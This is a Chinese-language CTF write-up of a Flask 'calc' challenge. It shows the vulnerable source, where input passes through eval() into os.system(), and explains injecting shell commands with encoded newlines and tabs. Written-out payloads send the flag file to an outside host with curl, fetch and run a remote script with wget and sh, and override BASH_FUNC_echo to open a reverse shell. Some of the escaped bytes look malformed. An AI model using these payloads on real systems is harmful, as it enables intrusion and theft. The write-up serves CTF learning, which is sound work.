是真的菜
开始复现把
calc
访问之后获得源码
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
可以看到 它定义了一个 clac路由 然后get的方式接受了一个num的参数
然后经过了 waf 最终 执行os.system (log)
这里我们可以传入 %27%27%27111%0als%09/%0a%27%27%27
返回 
我们输入%27%27%27%27%27%27的目的是 不上上面的eval 报错
在py里面 三个引号表示一个字符串 所以 在 eval(num)这里不会报错的 （不过我不知道为什么我在我本地试是会报错的）
但是在远程是可以继续往下去执行的 要不然也不会去返回结果
return 实在 eval后面的所以 意思就是题目环境是没有什么问题的
然后 漏洞的真正的利用点是 os.system(log)
看看 log是怎么来的
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S" ,time.localtime()) ,ip ,num)
我们可控的点 就是 这个 nun 然后 会执行 os.system 这个函数 就是 直接可以执行系统命令 然后 由于上面 是 echo 然后我们可以随便 在 num这里写上 换行符 url编码之后就是 %0a 这样 前面所有拼接的 就被当成第一行 系统命令去执行了 然后 经过换行之后 执行第二行的系统命令 因为这里是 echo 命令 所以后面只添加一些字符串的 话是不会报错的 可以继续往下去执行 然后 由于空格被 过滤了 我们可以使用 tab键来代替空格 url编码是%09 然后 在 完成我们想要执行的额命令之后 后面 只需要拼接上 %0a 就可以继续换行执行下一行命令了
然后 具体执行什么命令呢
可以post发包
curl http://xxxxx:2333 -d @/Th1s_is__F1114g
%27%27%271%27%0awget%09-O%09./tmp/test5.txt%09http://xxxxxx/test11.txt%09%0a%273%27%27%27
%27%27%271%27%0Ash%09./tmp/test5.txt%0A%272%27%27%27
刚刚这个是非预期
后来github上发了源码 然后就出现了官方wp
如何修复非预期的呢 就是官方wp是通过变量覆盖 环境变量的
怎么覆盖 环境变量呢 由于过滤了 = 在python 中 可以用for 循环来覆盖变量
有因为过滤了空格 就可以用%09或者 这里利用python的特性 可以直接用[]来绕过空格
os.environ['BASH_FUNC_echo%%']='() { id; }'
覆盖这个环境变量就可以执行命令了 id就是我们想要执行的命令了
exp
[[str][0]for[%EF%BD%8Fs.environ[%27\x0\x42\x0\x41\x0\x53\x0\x48\x0\x5f\x0\x46\x0\x55\x0\x4e\x0\x43\x0\x5f\x0\x65\x0\x63\x0\x68\x0\x6f\x0\x25\x0\x25\x0\x7\x0\x0\x0\x27\x0\x28\x0\x29\x0\x20\x0\x7b\x0\x20\x0\x62\x0\x61\x0\x73\x0\x68\x0\x20\x0\x2d\x0\x69\x0\x20\x0\x3e\x0\x26\x0\x20\x0\x2f\x0\x64\x0\x65\x0\x76\x0\x2f\x0\x74\x0\x63\x0\x70\x0\x2f\x0\x78\x78\x78\x78\x78\x2f\x0\x32\x0\x33\x0\x33\x0\x33\x0\x20\x0\x30\x0\x3e\x0\x26\x0\x31\x0\x3b\x0\x20\x0\x7d%27]]]